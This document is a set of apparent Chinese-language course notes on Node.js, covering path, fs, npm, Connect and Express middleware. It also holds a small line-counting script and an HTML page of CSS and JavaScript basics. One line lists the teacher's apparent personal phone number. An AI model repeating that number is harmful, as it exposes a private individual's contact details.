[url](http://nodejs.org/api/url.html):用于解析 URL。 - [http](http://nodejs.org/api/http.html):提供 HTTP 服务器功能。 - [querystring](http://nodejs.org/api/querystring.html):解析 URL 中的查询字符串。 - [util](http://nodejs.org/api/util.html):提供一系列实用小工具。 - [其他](https://nodejs.org/api/) --- #### require 的缓存 ### 文件操作 #### path 模块 - path不会判断路径存在与否,只是单纯得字符串操作。 + path.join() - join只是单纯得拼接 + path.resolve() - resolve会在前一个路径作为基准路径,然后cd操作 后面绝对路径会覆盖第一个 - path.basename() -- 获取文件名(可以忽略扩展名) - path.dirname() -- 获取路径中的目录部分 - path.extname() -- 获取扩展名部分 - path.isAbsolute() -- 判断是否为绝对路径 - path.normalize() -- 正常化路径(格式) - path.relative() -- 获取第二个目录相对于第一个目录的相对路径 - path.parse() -- 类似于 JSON.parse - path.format() -- 类似于 JSON.stringify ```js console.log('join用于拼接多个路径部分,并转化为正常格式'); const temp = path.join(__dirname, '..', 'lyrics', './友谊之光.lrc'); console.log(temp); console.log('获取路径中的文件名'); console.log(path.basename(temp)); console.log('获取路径中的文件名并排除扩展名'); console.log(path.basename(temp, '.lrc')); console.log('===================================='); console.log('获取不同操作系统的路径分隔符'); console.log(process.platform + '的分隔符为 ' + path.delimiter); console.log('一般用于分割环境变量'); console.log(process.env.PATH.split(path.delimiter)); console.log('===================================='); console.log('获取一个路径中的目录部分'); console.log(path.dirname(temp)); console.log('===================================='); console.log('获取一个路径中最后的扩展名'); console.log(path.extname(temp)); console.log('===================================='); console.log('将一个路径解析成一个对象的形式'); const pathObject = path.parse(temp); console.log(pathObject); console.log('===================================='); console.log('将一个路径对象再转换为一个字符串的形式'); // pathObject.name = '我终于失去了你'; pathObject.base = '我终于失去了你.lrc'; console.log(pathObject); console.log(path.format(pathObject)); console.log('===================================='); console.log('获取一个路径是不是绝对路径'); console.log(path.isAbsolute(temp)); console.log(path.isAbsolute('../lyrics/爱的代价.lrc')); console.log('===================================='); console.log('将一个路径转换为当前系统默认的标准格式,并解析其中的./和../'); console.log(path.normalize('c:/develop/demo\\hello/../world/./a.txt')); console.log('===================================='); console.log('获取第二个路径相对第一个路径的相对路径'); console.log(path.relative(__dirname, temp)); console.log('===================================='); console.log('以类似命令行cd命令的方式拼接路径'); console.log(path.resolve(temp, 'c:/', './develop', '../application')); console.log('===================================='); console.log('获取不同平台中路径的分隔符(默认)'); console.log(path.sep); console.log('===================================='); console.log('允许在任意平台下以WIN32的方法调用PATH对象'); // console.log(path.win32); console.log(path === path.win32); console.log('===================================='); console.log('允许在任意平台下以POSIX的方法调用PATH对象'); console.log(path === path.posix); ``` ### fs 模块 #### 同步方式读写 - `fs.readdirSync(path[, options])` 获取目录下的文件名称 - `fs.readFileSync(path[, options])` 同步读取文件内容 - `fs.writeFileSync(file, data[, options])` 同步写入 - fs.renameSync 修改文件名称 - fs.statSync 获取文件状态 #### 异步方式读写 - `fs.readdir(path[, options], callback)` - `fs.readFile(path[, options], callback)` - `fs.writeFile(file, data[, options], callback)` #### 对比两者差异 异步编程与同步编程各自优缺点 错误处理使用 trycatch 错误处理使用 回调函数的第一个参数 - 性能 - 异步 win - 代码可读性 - 同步 win - 异常处理 - 同步 win ### fs 案例 - 批量文件批量重命名 - 歌词文件读取并解析 - GBK 编码通过 iconv-lite模块 转换 - /\[(\d{2})\:(\d{2})\.(\d{2})\]\s(.+)/ - 字符画动画 - \u001b[2J\u001b[0;0H - clear 模块 #### 知识点 - 谷歌换浏览器图片插件 pejkokffkapolfffcgbmdmhdelanoaih - 传入图片尺寸返回图片 > https://unsplash.it/800/800?random - node原生API不够满足需求时,可以c++ 写 - normalize.css 对样式进行初始化。 - process.on('exit',) 程序最后执行事件 #### 老师信息 - 13241087977 - <EMAIL> > https://github.com/zce ## NPM NRM NVM node单线程原理(7.27) - npm registry(注册表)node包的管理工具 - nvm node版本管理器 - nrm 镜像管理工具,管理npm拉取包的地址 - nrm ls - 可以用来切换npm镜像的源 - nrm use npm + node -- - repl类似浏览器的输出调试框,可以直接在cmd中输入js执行 - 启动一个js文件: `node path/to/text.js` - ~~ `node inspect path/to/text.js` ~~ ### NPM (node.js package management) - 全球最大的模块生态系统,里面所有的模块都是开源免费的;也是Node.js的包管理工具。 > https://www.npmjs.com + npm概念 - npm不需要额外安装,nvm在安装特定版本的node时就附带安装了 - 每一个使用npm去管理包的项目,都需要有一个package.json文件, 这个文件的作用就是用来描述和记录项目相关信息。 - 用来安装项目中依赖的 package - 自身就是一个包,这个包是用来管理其它包 - 包可以是一个提供API的包,也可以是一个工具包 - 如果一个包提供的是API,一般我们将其安装到项目文件夹中 - 如果一个包提供的是一个工具,安装到全局目录下。这样可以在任意目录下使用 + 解决 npm 数据源不稳定 + registry 选项 - 作用:修改镜像源 - npm config set registry https://registry.npm.taobao.org - 可以借助 [nrm](https://github.com/Pana/nrm) 管理 - npm install nrm -g --registry=https://registry.npm.taobao.org + npm常用命令 - npm init 初始化模块 - npm install 安装模块 - npm uninstall 卸载模块 - npm update 更新模块 - npm outdated 检查模块是否已经过时 - npm ls 查看安装的模块 - npm init 在项目中引导创建一个package.json文件 - npm help 查看某条命令的详细帮助 - npm root 查看包的安装路径 - npm config 管理npm的配置路径 - npm cache 管理模块的缓存 - yarn 基本使用:类比 npm 基本使用 ### 自定义包 - 一系列相关模块组合到一起形成一个完整功能模块 - 多个模块可以形成包,不过要满足特定的规则才能形成规范的包 ##### 包的规范(约定) - nodejs中用npm初始化来创建package.json - package.json 必须在包的顶层目录下 - JavaScript 代码应该在lib目录下 - 文档应该在 doc 目录下 - 单元测试应该在 test 目录下 ##### package.json字段分析 - name:包的名称,必须是唯一的,由小写英文字母、数字和下划线或中划线组成,不能包含空格 - description:包的简要说明 - main:指的是 包被载入时 默认加载的文件 - entry point 指的是包被载入时默认加载的文件 - version:符合语义化版本识别规范的版本字符串 - keywords:关键字数组,通常用于搜索 - dependencies:生产环境包的依赖,一个关联数组,由包的名称和版本号组成 - devDependencies:开发环境包的依赖,一个关联数组,由包的名称和版本号组成 #### npm包安装方式 - 本地安装 - 在项目代码中使用某个模块 - 如果一个包提供的是 API,一般我们将其安装到项目文件夹中,通过 require 使用 - `npm install <package-name>` - 全局安装 - 一般工具包会全局安装 - 如果一个包提供的是一个工具,一般将其安装在全局目录,这样可以在任意目录下使用 - `npm install <package-name> --global` - less 用来编译 less 文件的 - http-server 通过 node 启动一个 http 服务,默认将当前目录作为网站根目录 + browser-sync - 使用: browser-sync start -s . -f "*.html,*.css,*.js " --nonotify - browser-sync start help打印start下的参数 - -s . 服务器管理的路径 - -f "*.html,*.css,*.js " 服务器管理的文件类型 - --nonotify 十分进行监控文件修改后浏览器页面更新 - cli 工具 command line interface 工具 ### Web 开发 + 服务器模型,对比 Node.js 模型与传统服务端模型 + node - 单线程,如果报错了,后续的用户就一直出于等待状态。 - node本身就提供HTTP服务,在node中开一个服务,对某个端口进行监听,发现请求调用对应页面发回给用户。 - node要做一些不耗时的操作,文件等操作都交给异步。 - node底层实现还是多线程,比如异步的多个文件操作。 - 在多核cpu的情况下,node可以通过多进程的方式来达到其它后台语言多线程的优势。 + php - 多线程。 - apache提供监听端口服务,发现是.html后缀的文件,直接返回给用户,发现是.php后缀的文件,把任务交给php,php处理后把页面返回给apache,apache再返回给用户 - apache -- 提供 HTTP 服务(能接收符合 HTTP 标准的请求,并返回符合 HTTP 标准的响应) + 线程概念 - 程序再window上的表现为一个.exe的文件 - 启动程序就是启动一个进行。 - 线程是cpu最小调用单元 + 在单核cpu情况下,多线程都是假的。 - 线程是交给cpu执行,cpu执行是快速切换线程,本质上还是一个人做多个事。上下文切换消耗性能。 - 就像一个人做多件事,node就是做完a任务再做b任务。 - 而php是做a任务做到一部分,再去做b任务,做了一部分b任务,又回来做a任务。 - 在a切换到b时,a的一部分准备被舍弃了,切换回来,又要把a的资源捡起来,这很消耗性能。 + 处理静态文件请求(实现静态网站服务器功能) - 由于 Node.js 没有内置静态文件请求处理功能,所以需要开发人员编码完成 ### 知识点 + 命令的本质 - 找到一个可执行文件 - 第一个空格以后全部都是提供给这个进程的参数 - php<?php 文件中后面不要写封闭的?>,因为写了会把?>后面的回车当成空格解析,返回的文档会多一个空格。 ## Nodo 中的快速开发框架,中间件(7.29) - 在 Node 开发领域最著名的快速开发框架肯定是 Express - tj connect express koa - Express 简介 - Express 是一个非常简单的 Web Framework。就像我们在页面开发时用的 jQuery 一样,只是让我们的开发过程更加高效。 - 它的核心特性:**中间件机制** ### 中间件(管道)的概念 <!-- ![](media/middleware.png) --> - 每一个环节就是一个中间件,每个中间件中都可以控制下个环节的工作 - 比如:接收到请求过后,先判断是不是静态文件请求,在处理动态文件请求 - 对于流程性特别强的程序开发过程,中间件是最适合也是最灵活的方式。 - Node 开发领域中第一个实现中间件机制的框架就是 Connect,Connect 就是 Express 的前身。 ### Connect > Connect is a middleware layer for Node.js > Connect is a simple framework to glue together various "middleware" to handle requests. ```js const url = require('url') const path = require('path') const connect = require('connect') const app = connect() // 第一个中间件处理静态文件请求 app.use((req, res, next) => { const urlObj = url.parse(req.url) const extname = path.extname(urlObj.pathname) const staticExt = ['.html', '.css', '.js'] if (staticExt.includes(extname)) { res.setHeader('Content-Type', 'text/plain; charset=utf-8') res.end('静态请求') return } next() }) // 第二个中间件处理动态请求 app.use((req, res, next) => { res.setHeader('Content-Type', 'text/plain; charset=utf-8') res.end('动态请求') }) app.listen(3000) ``` ### connect中间件框架 ```js const http = require('http') /** * 中间件执行框架 */ function Connect () { // 如果不是通过 new 的方式执行,则我们帮他 new if (!(this instanceof Connect)) return new Connect() this.middlewares = [] } /** * 载入一个中间件 * @param {Function} middleware 中间件函数 * @return {[type]} [description] */ Connect.prototype.use = function (middleware) { this.middlewares.push(middleware) } /** * 启动一个 HTTP 服务并监听一个 指定的 端口 * @return {[type]} [description] */ Connect.prototype.listen = function (...args) { /** * 请求时触发的请求处理函数(事件处理函数) * @param {[type]} req [description] * @param {[type]} res [description] * @return {[type]} [description] */ const handleRequest = (req, res) => { // this 指向 重点看的是调用时 而不是定义时 // console.log(this) // 如果不去处理 就应该是 server let index = -1 const next = () => { index++ // 执行下一个 const current = this.middlewares[index] current && current(req, res, next) } // 起个头去调用第一个中间件函数 next() } const server = http.createServer(handleRequest) // server.listen.apply(server, args) server.listen(...args) } module.exports = Connect ``` #### 知识点 + new它是函数调用的一个修饰词 - this创建一个新的空对象,作为这次调用函数的对象 - return在执行完这个函数过后,把this作为返回值返回 + nodemon包,自动更新node站点包 - nodemon nodejs文件更新页面更新,不用重启node - del package.json - npm init --yes 直接初始化 - Node中不去区分请求的pathname,所有的请求都在 请求 处理函数中处理 - Apache:创建一个http服务;php:开发动态网站 ````js // HTTP 协议中约定 如果响应报文中有 location 就会让客户端跳转 // 301永久性跳转 302暂时性跳转 request.statusCode = 302 request.setHeader('Location', '/list') //接收数据事件 request.on('data', chunk => { chunk.toString('utf8') //返回一个流,转化为字符串 }) .on('end', () => {})//数据接收完成事件 //服务对象,监控异常 server.on('error', err => {}) ```` ## Express入门(7.30) - 一个基于connect的中间件框架,express 3.x 内置很多中间件,express 4.x 变成按需加载 > http://expressjs.com.cn/ - app.[METHOD]([PATH], [HANDLER]) - app 是 express 的实例。 - METHOD 是 HTTP 请求方法。 - get(指定请求类型) use(支持所有类型,HANDLER可以是一个路由对象) - PATH 是服务器上的路径。 - HANDLER 是在路由匹配时执行的函数。 - 处理静态文件请求 app.use(express.static('public')) - express 的基础 api 同 connect 相同;express 在 connect 基础上做的改变 - 增加了更为复杂的路由机制 #### 异常处理 - 如何处理 404 响应? 在 Express 中,404 响应不是错误的结果,所以错误处理程序中间件不会将其捕获。此行为是因为 404 响应只是表明缺少要执行的其他工作;换言之,Express 执行了所有中间件函数和路由,且发现它们都没有响应。您需要做的只是在堆栈的最底部(在其他所有函数之下)添加一个中间件函数来处理 404 响应: ```js app.use(function(req, res, next) { res.status(404).send('Sorry cant find that!') }) ``` - 如何设置错误处理程序? 错误处理中间件的定义方式与其他中间件基本相同,差别在于错误处理中间件有四个自变量而不是三个,专门具有特征符 (err, req, res, next): ```js app.use(function(err, req, res, next) { console.error(err.stack) res.status(500).send('Something broke!') }) ``` #### 使用 Node + Express 开发动态网站步骤 1. 创建一个项目目录 2. 创建 package.json 3. 安装最基本的项目依赖:express 4. 设计最基本的编码结构 1. 项目代码执行的入口文件 index.js 2. 载入 express 模块,创建一个 app 对象 3. 处理静态文件请求 4. 对请求的路由做一个设计,有哪几种请求的地址,每一个请求处理函数 5. 业务逻辑编码过程 #### 模版引擎 handlebars模版 npm i hbs --save 在定义app对象的地方设置模版引擎 > http://expressjs.com/zh-cn/guide/error-handling.html xtemplate模版 npm i xtpl xtemplate #### 知识点 - npm i 包@版本 - sketch比ps设置图更快 - https://cva.cc/西游翻墙 - http://tongji.baidu.com/data/ 统计 - body-parser中间件:获取post提交的数据 ## node项目登陆(8.2) ### music-server 1. npm init 初始化 package.json 文件 2. npm install 安装相关的项目依赖包(express xtpl xtemplate body-parser) 3. 搭建基本的 MVC 结构(指定项目约束) 4. 分别创建不同的 controller + model + view 去处理不同的业务(配置不同业务班子) 5. 具体的业务编码 6. 后续依赖包 - mysql 数据库包 - cookie-session 对session进行管理,自动生成key(cookie)给客户端 - glob 获取某个文件夹下某个后缀的所有文件 - xtemplate中可以拿到这个对象的值res.locals:res.locals={} #### package.json解析 + scripts 是用来定义预制命令 - 可以通过 npm run <name> 执行这个命令 如果 name 为 test / start 可以省略 run - 还可以通过 pre<name> 和 post<name> 去定义这个命令之前和之后的命令 - devDependencies 中记录的是开发依赖(工具) - dependencies 中记录的是我们代码的依赖 require 函数会用到的 - npm i nodemon --save-dev 把工具包添加到当前项目中,好处是在新的地方会自动下载 - MIT 最自由的协议,可以让任何人随意使用 ```js "scripts": { "test": "nodemon index.js", "prefoo": "echo prefoo", "foo": "echo hellokjjshdfjksjdfskdjfhkkkh", "postfoo": "echo postfoo" }, "dependencies": { "body-parser": "^1.17.2", "devDependencies": { "nodemon": "^1.11.0" } ``` #### 知识点 + 配置静态资源文件(放在管道最前面) - app.use(express.static('./public')) - html中静态文件用绝对路径,网站根路径 + Mockjs - mock 对于开发人员来说,是一种泛指所有客户端模拟数据的一种手段 - mock 是一种客户端模拟数据的一种手段 + 客户端请求处理 1.校验 2.持久化 3.响应 - awesome + 名词 git上查询某个项目的清单 + promise和委托(回掉函数)的区别: - promise是异步程序传递一个消息给同步然后同步去做这个事。 - 委托就是把事情传递给异步,异步去执行。 - 事件和promise很像,同步注册多个事件保存在一个第三方对象上,然后在异步时通知第三方对象,执行当前事件的所有处理程序。 ## node文件上传处理,angular的demo(8.2) + MVC - 在MVC的结构中,请求最终都是要找到一个controller控制器下的action去处理(不再是一个页面,也不是一个单纯的文件) - 通过controller载入的中间件,只要这个控制器被执行,都会最先执行这个中间件 + formidable(包)处理文件域参数 - 当表单中有文件域的情况下,表单编码类型要修改为:enctype="multipart/form-data" - gzip压缩静态文件服务器在传输过程中会进一步压缩,到浏览器在展开 - script只有在type属性为text/javascript的时候,内部的代码才会作为javascript执行。 - 如果是让一个元素内部滚动加webkit-overflow-scrolling:touch,让元素有惯性滚动 + node跨域jsonp响应处理 - res.jsonp 方法会自动获取请求 QueryString 中键 为 callback 的值, - 将这个值作为回调函数名称,拼接一段 JS 代码 #### 知识点 - accept:html属性,可以限制上传文件类型 - angu版本1.6后才加跨域信任白名单 - axios 最流行的ajax库 - 有明确时间 有明确目标这就是项目 - audio site:w3school.com.cn 优化搜索关键词 <file_sep>const path = require('path'); const fs = require('fs'); const obj={}; let num=0; let tre=''; function filedg(pathstr,obj,wid) { const files = fs.readdirSync(pathstr); wid+=1; files.forEach(item => { if (fs.statSync(path.join(pathstr,item)).isFile()) { let len=fs.readFileSync(path.join(pathstr,item),'utf8').split('\n').length; obj[item] =len>0?len-1:0; num+=len; } else { obj[item]={}; let r=''; for(let i=wid;i--;){ r+=' '; } tre+=r+'|'+'\n'+r+'---'+item+'\n' filedg(path.join(pathstr,item),obj[item],wid); // console.log(wid,r); } }) } filedg(process.cwd(),obj,0); console.log(obj,num); console.log(tre); <file_sep><!doctype html> <html lang="en"> <head> <meta charset="UTF-8"> <title>js+jq</title> <style> p { width: 100%; } </style> </head> <body> <div><h2>第一天</h2> <h4>一、iconfont的使用:</h4> <p>作用:为了能够在页面上不再使用小图,将小图的内容直接用文本来表示以此来提前用户体验。</p> <ul> <li>百度搜索iconfont进入iconfont官网</li> <li>选择官网中的“图标库”--->“官方图标库”</li> <li>选择自己需要的字体库,点击进入,选择自己需要的字体,加入到购物车</li> <li>4)选择完成以后,点击购物车,选择下载代码</li> <li>5)进入下载的文件夹中,找到三个.html页面中的demo_fontclass.html,按照页面上的指示使用字体图标。</li> </ul> <h4>二丶其它属性的学习:</h4> <ul> <li>box-shadow: 0px 0px 10px #888888;</li> <li>设置阴影:左右平移 垂直平移 模糊程度 阴影颜色</li> <li>border-radius: 25px;</li> <li>placeholder:””;该属性设置默认文字</li> <li>w设置三角形: 类名:after { content:””; height:0; width:0; line-height:0; border-width:5px; border-style: solid; border-color: transparent transparent blue; </li> </ul> </div> <div> <h2>第二天</h2> <ul> <li>块级元素水平集中:margin:0 auto等于 margin-left:auto+margin-right:auto</li> </ul> </div> <div> <h2>第三天</h2> <ul> <li>input系列之button按钮边框的宽度会占据内容部分,不会撑大盒子</li> <li>行内元素过长自动隐藏加省略号 <p> a { width: 130px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; display: inline-block; } </p> </li> </ul> </div> <div> <h2>第四天复习js</h2> <h4>js的组成部分</h4> <ul> <li>1 ECMAScript js的基础语法规范</li> <li>2 DOM - 文档对象模型 document object model</li> <li>3 BOM - 浏览器对象模型 browser object model</li> </ul> <h4>浏览器的几个重要组成部分</h4> <ul> <li>1 用户界面</li> <li>2 浏览器引擎 - 中控</li> <li> 3 渲染引擎 -解析html和css代码 : <ul> <li> 1 解析html代码:生成树模型</li> <li> 2 解析css代码:生成样式树</li> <li> 3 将样式树和树模型结合,生成渲染树(准备将页面效果显示出来)</li> <li> 4 根据渲染树上的每个部分,将真正的内容渲染在页面中</li> </ul> </li> <li> 4 js解析器 : 用于执行js代码 </li> </ul> <h4>变量的作用:存储数据</h4> <p>数据的分类: 固定数据 临时数据;固定数据保存在硬盘中 临时数据保存在内存中</p> <h4>WebStorm快捷键</h4> <ul> <li>复制一行 ctrl + c</li> <li>复制一行到下一行 ctrl + d</li> <li>shift + enter回车 可以在下面快速创建一个新行</li> <li>格式化代码 ctrl + alt + l</li> <li>end键 可以跳到本行最后</li> <li>home键 可以跳到本行最前面</li> <li>ctrl表示按词跳跃</li> <li>shift表示选中</li> </ul> <h4>5大基本数据类型:</h4> <p>string number boolean null undefined</p> <p>typeof 用于对基本数据类型进行类型检测;用法两种:typeof 数据 typeof(数据)</p> <p>Infinity 无穷大(正无穷);特殊值:NaN not a number 表示不是数值; js可以表示的最大值:Number.MAX_VALUE;js可以表示的最小正数:Number.MIN_VALUE </p> <p>null使用typeof结果为object,是不准确的,不能说明他是对象</p> <h4>类型转换</h4> <ul> <li>null 与undefined 没有对应的转换方式</li> <li>将其他类型转换为字符串类型: <ul> <li> 强制转换:数据.toString();String(数据)</li> <li>原因是null和undefined不具备toString方法</li> <li>隐式转换:使用任意数据类型 + 任意字符串,可以转换为字符串类型</li> </ul> </li> <li>将其他数据类型转换为数值类型: <ul> <li>强制转换:Number(数据)</li> <li>Number转换字符串时,如果字符串中含有字符,会转换失败,结果为NaN</li> <li>parseInt() 取出的数值为正数</li> <li>从左往右取,遇到不是数值为止,如果第一个字符就不是数值,转换失败,结果为NaN</li> <li>parseFloat(); 取出的数值可以包含小数;100.00这种数据的小数位没有意义,取出的值为100</li> <li>隐式转换:- * / %</li> </ul> </li> <li>将其他数据类型转换为boolean(布尔类型) <ul> <li>强制转换 Boolean(数据):能够转换为false的只有:false 0 "" NaN null undefined</li> <li>隐式转换 !!数据;console.log(!!null);</li> </ul> </li> </ul> <h4>运算符</h4> <p>== 相等比較,值等即可,!= 不相等 ,跟==对应; === 全等比較,比較值和类型,!== 不全等 ,跟===对应</p> <p>NaN 与任意类型判断==均为false</p> <p>isNaN(数据)如果数据值为NaN返回true,否则返回false</p> <ul> <li>当操作数不是bool值时:(短路操作)</li> <li>1 从左往右看</li> <li>2 如果操作数不是bool值,隐式转换</li> <li>3 哪个操作数可以决定式子结果,就返回这个源操作数</li> <li>4 如果第一个操作数无法决定结果,直接返回第二个操作数</li> <li>console.log(100 && 200);console.log(0 || 200);</li> </ul> <h4>结构语句,条件判断</h4> <p>switch 语句:如果条件中的基本值与某个case后的值全等,才会执行对应代码。</p> <p>使用switch进行范围的检测,需要在条件中书写true</p> <p>switch语句跟适用于单值的判断;if语句跟适用于范围的判断</p> <h5>优先级从高到低:</h5> <ul> <li>()</li> <li>一元运算符 ++ -- ! (+根据使用方式不同,优先级也不同)</li> <li>算数运算符 先* / % 后 + -</li> <li>比較 > < >= <= == === != !==</li> <li>逻辑运算符 && ||</li> <li>三元运算符 2>1?100:200;</li> <li>赋值运算符 = += -= *= /= %=</li> </ul> <h4>循环</h4> <ul> <li>for循环的适用场景:有规律有次数限制的重复执行代码</li> <li>使用while循环的适用场景:不确定循环次数重复执行代码</li> </ul> <h5>其他</h5> <p>当我们使用控制台调试时,注意的问题:1 不要在watch监视面板中监视可执行的代码;2 当我们需要查看一个变量的值时,最好使用watch,不要进行移入操作</p> </div> <div> <h2>第五天js循环和数组</h2> <h4>进制问题</h4> <ul> <li>2进制 逢2进1 01</li> <li>8进制 逢8进1 开头使用0进行表示 021</li> <li>16进制 逢16进1 0123456789 a b c d e f 0x21</li> <li>进制数表示当前是几进制,查看时从右往左看,左右侧的第一个位置位数为0</li> <li>当前位的数值 * 进制数^(位数-1),多位之间进行结果相加</li> <li><p> 把10进制转化为8进制: var num = 17; toString中转换一个数值参数表示要转换为几进制 console.log(num.toString(8));8指的是转换后的进制 </p></li> <li> <p> parseInt的第二个参数默认为10,表示当前数据为几进制,最终转换为10进制 parseInt(数据,进制) var str = 21; console.log(parseInt(str, 8));8指的是转换后的进制 </p> </li> </ul> <h4>循环</h4> <ul> <li> for的两种用法: 1 获取一段有规律的数据 2 有次数限制的重复执行代码 </li> <li> 计算1-100之间的所有的质数 <ul> <li> 质数:只能被1和自身整除</li> <li>能整除自己的数只存在与1-自身之间</li> <li>能整除自己的数<=Math.foolr(n/2)</li> <li>能整除自己的数<=Math.floor(Math.sqrt(n));</li> </ul> </li> <li>continue:结束本次循环,并且从下一次开始(顶部循环变量增减的位置)</li> </ul> <h4>数组</h4> <ul> <li>设置的值多余元素的个数:此种操作没有意义,不会添加新的数据;查看可能新增加的位置的值,值为undefined</li> <li>设置的值少于元素的个数:这时多余的元素会被删除</li> <li>清空数组:方式1:arr.length = 0;方式2:arr = [];console.log(arr);</li> <li>定义数组的两种方式(构造函数的方式,数组字面量的方式) var ary=new Array();var ary=[]; </li> <li>数组.splice(索引,删除个数); //可以从数组中删除指定索引位置的数据</li> </ul> <h4>注意:</h4> <ul> <li> var arr = [1,2,3,4,5]; console.log(arr);// 1,2,3,4,5 arr[0] = 100; console.log(arr);// 100,2,3,4,5 </li> <li>当上述代码在控制台打印时,结果与我们想的是一样的。</li> <li>但是如果将数组展开,这时控制台会重新读取对应数据的值,这时取值为新值</li> </ul> </div> <div> <h2>第六天数组,函数和作用域</h2> <h4>求数组类型的三种方式</h4> <ul> <li>Array.isArray(数组),ie9一下浏览器不支持。ES5中提供的</li> <li>数组 instanceof Array,返回boolea值</li> <li>Object.prototype.toString.call(数组),返回“[object Array]”字符串。推荐使用,可以访问任意的对象型数据的类型。</li> <li>二维数组及多位数组的应用:先判断数组的每个值,看是否有值为一个数组的,进行对应处理。(数组[i][j])</li> </ul> <h4>基本数据类型和复杂数据类型的区别</h4> <ul> <li>保存数据的个数不同:基本类型保存一个值,复杂数据类型可以保存多个</li> <li>在内存中的保存方式不同:基本数据类型在内存单元中保存的是具体值,复杂数据类型在内存单元中保存的是具体值的指针</li> <li>基本数据类型和复杂数据类型在复制结果上不同:不同的原因是,复制操作复制的是变量指向的内存单元中的值</li> <li>null是基本数据类型;null代表了一个对象未初始化前的状态</li> </ul> <h4>函数</h4> <ul> <li>参数的使用场景: 当我们使用函数的时候,发现功能一定,内部的某些值不确定,可以给函数设置参数。</li> <li>参数的本质: 参数就相当于是函数内声明的一个变量</li> <li>形参的概念: 写在函数体中的参数称为形参,形参在使用时是没有值的,需要调用时传值。</li> <li>实参的概念: 形参值需要在使用时(调用函数),进行对应的传参,称为实参, 实参在函数调用的小括号中书写。</li> <li>如果函数没有设置返回值,默认为undefined</li> <li>函数调用表达式本身有两个作用:1 执行函数内部代码 2 本身代表了返回值</li> </ul> <h4>函数作用域及预解析变量和函数的提升方式</h4> <ul> <li>1 全局作用域:script内部并且不在任意函数内</li> <li>2 局部作用域:任意一个函数内部均为独立作用域,在js中有且仅有函数可以分割作用域(所以我们又将局部作用域称为函数作用域)</li> <li>3 全局变量:声明在全局作用域中的变量称为全局变量,在全局任意位置均可访问</li> <li>4 局部变量:声明在局部作用域中的变量称为局部变量,只能在声明这个变量的作用域内部使用</li> <li>5 查找当前作用域中的var变量声明语句,将变量声明语句提升到当前作用域顶端,赋值保留在原地</li> <li>6 查找当前作用域中的function函数声明语句,将函数体整体提升到当前作用域顶端,调用保留在原地</li> <li>js中函数不能重名,重名会使后者覆盖前者</li> <li>js中没有重载的概念</li> </ul> <h4>arguments模拟实现重载</h4> <ul> <li>arguments只能在函数内部使用</li> <li>arguments的数据结构具有索引,也具有长度,说明他是一个类数组结构(伪数组)伪数组就是没有数组方法的数组形式。</li> <li>实际上arguments就是当前这个函数的实参列表(内部保存了本次调用所传入的所有实参)</li> <li>可以利用arguments的length属性,进行判断,模拟函数重载的过程</li> </ul> <h4>函数补充</h4> <ul> <li>函数声明语句 function 函数名(){};2 函数表达式 :将函数作为值保存在一个变量中进行使用,变量名就是函数名3.当一个函数没有名字,称为匿名函数</li> <li>函数表达式和函数声明语句的区别:预解析阶段的提升的规则不同,导致函数表达式无法在书写之前进行调用。函数表达式按照变量的声明方式,所以不会把方法体进行提升</li> <li>typeof 变量,可以判断变量是否是函数类型</li> <li>如果在操作参数时,如果实参值为复杂数据类型,在函数中直接修改时,实参也会对应改变</li> <li>函数没有声明但赋值了,预解析会默认声明到全局顶部</li> </ul> <h4>函数变量重名</h4> <ul> <li>有两个同名的函数,后者会覆盖前置。</li> <li>当函数和变量重名时,变量如果赋值了,因为变量是声明提升,而函数是整体提升,变量的值会覆盖函数;但变量没有赋值时,取函数值。因为空值不能覆盖有值的函数。</li> </ul> </div> <div> <h2>第七天对象和构造函数</h2> <p>将一个函数作为另一个函数的参数使用:整体功能一定,但是某些在不确定,传递一些数据参数即可; 整体功能一定,但是内部某些子功能不确定,就需要将一些代码作为参数传递。再js中只有函数可以保存代码,传递的是函数体。 </p> <ul> <li>函数也是一个数据类型,使用上和其他的数据没有本质区别</li> <li>可以使用匿名函数的方式,替代命名进行传参(减少函数名的占用)</li> <li>回调函数:把函数作为另一个函数的参数的行为称为回调函数。</li> <li>匿名函数:没有名字的函数。使用场景: 1.保存再变量中作为函数表达式使用; 2.作为参数传递使用(回调函数) </li> <li> 自调用函数(逻辑执行函数)形式。执行方式:在书写的位置调用一次。 作用:模拟块级作用域,减少全局变量的使用,提高性能,减少命名难度。 语法:(function(){};)(); </li> <li>块级作用域(了解):js中没有块级作用域,有的只是函数内部的作用域;其他语言中,每个代码块的内部都是独立的作用域。</li> </ul> <h4>对象简介</h4> 抽象和具体的关系: <ul> <li>抽象:生活中我们经常使用一些抽象的话来描述一些事物</li> <li>具体:当一个抽象的内容,内部所有特征确定后,变成了一个具体的事物</li> <li>抽象的作用:让我们在使用时可以预先知道一些事物所具有的特征,但是这些特征并不具体</li> </ul> <h4>对象的声明方式</h4> <ul> <li>var 对象名=new Object();创建一个空对象。</li> <li>给对象添加一些特征和行为:特征,称为对象的属性;行为,称为对象的方法。</li> <li>所有的方法都是函数类型,方法实际上也是属性,只不过保存的值为函数,所以起了一个特殊的名字。</li> <li>属性操作的两种方式:1.对象名.属性(已经确定使用的属性名)2.对象名["属性名"](如果不确定属性名,可以通过变量获取)</li> <li></li> </ul> <h4>this的使用</h4> <ul> <li>this只有在方法中使用才有意义</li> <li>this在方法中指向函数的调用者</li> <li>好处,书写简便,可以将多个重复的方法合并为同一个对象。</li> <li> <strong>1 外面的this为new更改过指向后的对象 2 内部的this指向当前函数的调用者(这个函数属于谁)</strong><br> function create(ageIpt) { //我们需要添加属性和方法,问题是属性和方法给谁设置? //在这里可以使用this进行属性和方法的设置 this.name = "张三"; this.age = ageIpt; //添加一个方法 this.sayHi = function () { //方法内外的this的用法不同 console.log("你好我是" + this.age); }; } </li> </ul> <h4>构造函数创建对象</h4> <ul> <li>这种创建多个对象的形式我们称为构造函数方式创建</li> <li>使用函数创建对象时,由于多个对象的方法是相同的,会重复占用空间,可以使用命名函数的方式</li> <li>new关键字做的事情: 1.创建一个对象。2.将当前函数内的this指向更改为使用new创建的对象。3.返回这个对象。 </li> <li>使用new调用这个函数我们称为构造函数</li> <li>1.构造函数的命名,首字母大写(推荐,强烈推荐)</li> <li>2.调用构造函数时要使用new</li> <li>3.构造函数的作用:创建对象</li> <li>4.在构造函数中只需要做一件事,给this添加属性和方法</li> <li>在构造函数中不要写reture:1.reture基本类型值:会被忽略掉。2.reture 复杂类型值,这是这个复杂数据类型会被返回,原有的对象会被替换。 </li> </ul> <P> 